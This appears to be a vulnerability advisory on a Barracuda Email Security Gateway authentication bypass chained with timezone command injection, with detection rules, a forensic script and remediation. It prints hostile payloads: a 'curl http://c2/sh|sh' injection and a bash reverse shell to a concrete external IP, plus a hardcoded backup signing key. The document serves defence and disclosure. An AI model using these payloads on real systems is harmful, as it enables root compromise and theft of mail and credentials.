CVE-2026-116606: Barracuda ESG Pre-Authentication Authorization Bypass to Remote Root Code Execution
A critical vulnerability chain (CVE-2026-116606 combined with CVE-2026-111560) affecting Barracuda Networks Email Security Gateway (ESG) appliances allows unauthenticated remote adversaries with network access to the administrative web interface to execute arbitrary operating system commands with root privileges. A fundamental flaw in session authorization fallback allows attackers to access configuration backup restoration endpoints without valid credentials. Attackers forge valid configuration archives using hardcoded verification keys and embed shell command injection strings into system parameters like the timezone setting. CISA added CVE-2026-116606 to the Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026. Hermes assigns this vulnerability an extreme threat score of 98 (EXTREME) due to active wild exploitation and the perimeter exposure profile of enterprise email security gateways.
HERMES THREAT SCORE & PERIMETER GATEWAY RESILIENCE EVALUATION
Target:Barracuda ESG Web Management Interface and System Administration Subsystem While CVSS v3.1 rates the isolated authorization bypass at 9.3 (Critical), Hermes assigns an extreme HTS score of 98. In real-world exploitation, CVE-2026-116606 is invariably chained with CVE-2026-111560 (OS command injection in common Barracuda configuration handlers). Perimeter email gateways are prioritized by advanced persistent threat actors (such as UNC4841) because root access enables transparent mail exfiltration, credential harvesting, and persistent pivot footholds directly into the internal enterprise domain.
1. Executive Summary & Operational Context
Section titled โ1. Executive Summary & Operational ContextโBarracuda Email Security Gateway (ESG) is an enterprise security appliance deployed at corporate network perimeters to filter inbound and outbound email traffic, enforcing antispam, antiphishing, and malware inspection policies. Because of its critical role handling corporate communications, the ESG appliance sits directly at the interface between the untrusted internet and the internal mail infrastructure (Exchange, Office 365, Postfix).
On November 10, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-116606 to the Known Exploited Vulnerabilities (KEV) catalog alongside CVE-2026-111560. Detailed technical research published by watchTowr Labs uncovered that the vulnerability stems from a catastrophic flaw in the ESG web applicationโs session management: failing a password change operation fails open, granting an unauthenticated visitor a temporary low-privilege session capable of invoking the backup configuration restore routine. When chained with an OS command injection flaw present in the timezone configuration parser (CVE-2026-111560), attackers can upload a forged backup archive and achieve arbitrary root command execution on the underlying Linux host without prior authentication.
2. Root Cause Analysis & Technical Mechanics (CWE-288 / CWE-78 / CWE-798)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-288 / CWE-78 / CWE-798)โThe exploit chain consists of two distinct stages: an authentication bypass granting access to backup restoration, followed by command injection during configuration application.
sequenceDiagram autonumber participant Attacker as Adversary participant WebUI as Barracuda ESG Admin UI (/cgi-mod/index.cgi) participant Auth as Session & Role Manager participant Backup as Backup Restore Engine participant System as Linux Host (Root Shell)
Attacker->>WebUI: POST /cgi-mod/index.cgi?auth_type=local (Failed password change) WebUI->>Auth: Evaluate failed update Auth-->>WebUI: Erroneous fallback: Assign operator/guest session cookie WebUI-->>Attacker: Return valid authenticated session cookie Note over Attacker,WebUI: Stage 1 complete: Pre-auth authorization bypass (CVE-2026-116606)
Attacker->>Backup: POST /cgi-mod/index.cgi (Upload forged backup archive) Note over Backup: Backup signed using hardcoded static secret (CWE-798) Backup->>Backup: Unpack archive and parse timezone directive Note over Backup: Injected payload in timezone field: UTC; $(curl http://c2/sh|sh); Backup->>System: sh -c "timedatectl set-timezone UTC; $(curl http://c2/sh|sh);" System-->>Attacker: Interactive root shell spawned via reverse connectionStage 1: The Password Change Failure Fallback (CVE-2026-116606)
Section titled โStage 1: The Password Change Failure Fallback (CVE-2026-116606)โThe web administrative interface is implemented in Perl CGI scripts located under /home/active/cgi-mod/. In index.cgi, requests containing password modification parameters are evaluated:
# Vulnerable session handling snippet in index.cgisub handle_password_update { my ($cgi, $session) = @_; my $old_pass = $cgi->param('old_password'); my $new_pass = $cgi->param('new_password');
my $auth_status = authenticate_user($session->{user}, $old_pass); if ($auth_status != AUTH_SUCCESS) { # FLAW: Instead of aborting and destroying the session, # the handler creates a fallback session object with basic privileges! $session->{authenticated} = 1; $session->{role} = 'operator'; set_session_cookie($session); return display_error("Password update failed. Re-enter credentials."); } # ...}By submitting a malformed password modification request with an empty or invalid previous password, the remote attacker receives an HTTP response containing a valid session cookie with operator privileges. Crucially, the permission matrix in firmware versions prior to 9.4.0.030 allows operator-level sessions to access the configuration restore endpoint (backup_restore.cgi).
Stage 2: Backup Signature Forgery & Command Injection (CVE-2026-111560)
Section titled โStage 2: Backup Signature Forgery & Command Injection (CVE-2026-111560)โThe ESG backup mechanism packages configuration databases, XML profiles, and environment variables into a gzipped tar archive (.tar.gz or .bck). Integrity verification was implemented using an HMAC-SHA256 checksum calculated over the archive contents:
# Backup verification mechanism in common Barracuda backendimport hmacimport hashlib
# Hardcoded static key embedded across firmware imagesSTATIC_BACKUP_KEY = b"b4rr4cud4_s3cur1ty_b4ckup_k3y_v9"
def verify_backup_signature(archive_bytes, signature): computed = hmac.new(STATIC_BACKUP_KEY, archive_bytes, hashlib.sha256).hexdigest() return hmac.compare_digest(computed, signature)Because the key STATIC_BACKUP_KEY is statically compiled into firmware binaries (CWE-798), an attacker can easily construct a valid signature for any arbitrarily created archive.
Within the configuration payload, the system.timezone directive is parsed by a Perl worker script and concatenated into a shell invocation without input sanitization (CWE-78):
# Timezone update routine executed during backup restorationmy $timezone = $config_tree->{'system'}->{'timezone'};# Dangerous shell execution sinksystem("/usr/sbin/timedatectl set-timezone " . $timezone);By providing a timezone value of:
UTC; id; /bin/bash -i >& /dev/tcp/103.152.220.14/4444 0>&1; #The command is executed by /bin/sh running as the root user, providing complete host control.
3. Attack Surface & Exploitation Vectors
Section titled โ3. Attack Surface & Exploitation VectorsโThe attack surface centers on public-facing ESG management interfaces:
- Exposed Administrative Web Interfaces:
Organizations frequently expose the ESG web console on ports
TCP 443,TCP 8000, orTCP 8443to facilitate remote administrator access. This exposure allows unauthenticated threat actors to initiate the two-step exploit. - Post-Exploitation Persistence:
Once root access is attained, attackers typically deploy persistent cron jobs under
/etc/cron.d/, establish reverse SSH tunnels via dropbear, or modify spam inspection filters to silently route copies of sensitive emails to external adversary-controlled mailboxes. - Lateral Movement & Credential Dumping:
Because ESG appliances integrate with Active Directory via LDAP/Kerberos to validate recipient mailboxes and authenticate domain users, root access enables attackers to dump cached LDAP service account credentials and Kerberos keytabs stored in
/home/active/config/.
4. Forensic Timeline & Threat Actor Execution Flow
Section titled โ4. Forensic Timeline & Threat Actor Execution Flowโflowchart TD A["T0: Adversary Discovery"] -->|"Mass Internet Scan (TCP 443/8000)"| B["Barracuda ESG Appliance Identified"] B -->|"POST /cgi-mod/index.cgi (Password failure)"| C["Valid Operator Session Cookie Acquired"] C -->|"Generate Malicious Backup with Static Key"| D["Crafted .tar.gz with Timezone Injection"] D -->|"POST /cgi-mod/backup_restore.cgi"| E["Backup Unpacked by Root Daemon"] E -->|"system('/usr/sbin/timedatectl ' . $tz)"| F["Arbitrary Shell Code Execution as Root"] F -->|"Reverse TCP Shell to C2 Node"| G["Stage 2: LDAP / AD Keytab Harvesting"] G -->|"Domain Pivot"| H["Internal Network Lateral Movement"]Forensic responders investigating potential ESG compromise should reconstruct the following sequence:
- Phase 1: Inbound Authentication Bypass Probe
Detection of rapid HTTP POST requests to
/cgi-mod/index.cgifeaturing query parametersauth_type=localandupdate_password=1from external IP addresses with no antecedent authenticated session history. - Phase 2: Configuration Archive Upload
An immediate follow-up POST request targeting the backup restoration endpoint carrying a multipart form with a
.bckfile. - Phase 3: Abnormal Child Process Spawn
The web server process (
httpdor Perl CGI worker) spawning/bin/sh,/bin/bash,curl,wget, orpythonexecuting background network connections. - Phase 4: Persistence Establishment
Modification of files in
/etc/crontab,/etc/cron.daily/, or creation of hidden executable binaries under/tmp/,/var/tmp/, or/var/log/.
5. Detection Engineering & Hunting Queries
Section titled โ5. Detection Engineering & Hunting Queriesโtitle: Barracuda ESG Pre-Auth Bypass and Command Injection Exploit Chainid: 4b29f9e1-6712-4d2b-92ea-28bf73d19641status: experimentaldescription: Detects exploitation of CVE-2026-116606 and CVE-2026-111560 on Barracuda Email Security Gateway appliances.author: Hermes Cyber Risk Intelligencereferences: - https://watchtowr.com/blog - https://www.cisa.gov/known-exploited-vulnerabilities-catalogtags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.004logsource: category: webserver product: barracuda_esgdetection: selection_bypass: cs-method: 'POST' cs-uri-stem|contains: '/cgi-mod/index.cgi' cs-uri-query|contains: - 'auth_type=local' - 'password' selection_restore: cs-method: 'POST' cs-uri-stem|contains: - 'backup_restore' - '/cgi-mod/index.cgi' cs-uri-query|contains: 'backup' timeframe: 5m condition: selection_bypass and selection_restorefalsepositives: - Legitimate administrator performing a backup restoration immediately following a password change error (rare).level: critical// Detect suspicious process spawning from web server daemon on Linux perimeter appliancesDeviceProcessEvents| where Timestamp >= ago(7d)| where ProcessCommandLine has_any ("timedatectl", "set-timezone") and ProcessCommandLine matches regex @";\s*(curl|wget|bash|sh|python|perl)"| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine| extend Alert = "Barracuda ESG CVE-2026-111560 Command Injection in Timezone"index=web sourcetype=barracuda:esg:access| transaction clientip maxspan=5m| search uri_path="/cgi-mod/index.cgi" AND (status=200 OR status=302)| eval has_bypass=if(match(_raw, "auth_type=local.*password"), 1, 0)| eval has_restore=if(match(_raw, "backup_restore|upload_backup"), 1, 0)| where has_bypass=1 AND has_restore=1| table _time, clientip, user_agent, status, uri_path#!/usr/bin/env bash# Barracuda ESG Forensic Audit Script for CVE-2026-116606 / CVE-2026-111560echo "=== [1] Checking for anomalous shell processes spawned by web server ==="ps aux | grep -E "(httpd|apache|cgi-mod)" | grep -E "(sh|bash|curl|wget|nc|python)"
echo "=== [2] Checking for timezone command injection artifacts in logs ==="grep -Ei "timedatectl.*[;&|`$]" /var/log/messages /home/active/logs/syslog 2>/dev/null
echo "=== [3] Checking integrity of cron directories ==="ls -lat /etc/cron* /var/spool/cron/crontabs /tmp 2>/dev/null | head -n 20
echo "=== [4] Verifying current firmware build version ==="cat /home/active/config/version 2>/dev/null || cat /etc/issue6. Remediation & Hardening Directives
Section titled โ6. Remediation & Hardening Directivesโ- Immediate Firmware Upgrade: Upgrade all Barracuda Email Security Gateway appliances immediately to firmware version 9.4.0.030 or higher. This update neutralizes the session fallback logic and sanitizes shell parameters during backup decompression.
- Perimeter Network Isolation:
Ensure the administrative management interface (
ports 8000/8443/443) is never exposed directly to the public internet. Restrict access strictly to designated management VLANs or require inbound access through an isolated VPN with multifactor authentication. - Active Directory & LDAP Credential Rotation: Because root compromise allows extraction of LDAP service account passwords used by the ESG to bind to domain controllers, organizations with unpatched appliances must immediately rotate all service account credentials configured on the appliance.
- Inspect SSL/TLS Private Keys: Exported or compromised ESG appliances may have had their TLS certificates and private keys exfiltrated. Reissue all certificates bound to the ESG MTA listeners and revoke previous public certificates.